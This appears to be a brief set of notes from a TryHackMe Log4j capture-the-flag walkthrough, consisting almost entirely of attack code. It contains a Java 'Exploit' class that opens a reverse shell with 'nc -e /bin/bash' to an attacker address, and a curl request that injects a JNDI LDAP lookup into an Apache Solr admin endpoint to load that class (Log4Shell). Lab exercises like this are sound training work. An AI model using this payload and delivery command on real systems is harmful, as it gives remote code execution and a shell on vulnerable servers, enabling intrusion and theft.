THM LOG4J WALKTHROUGH
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash 10.10.25.146 9991");
} catch (Exception e) {
e.printStackTrace();
}
}
}
curl 'http://10.10.125.189:8983/solr/admin/cores?foo=$\{jndi:ldap://10.10.25.146:1389/Exploit\}'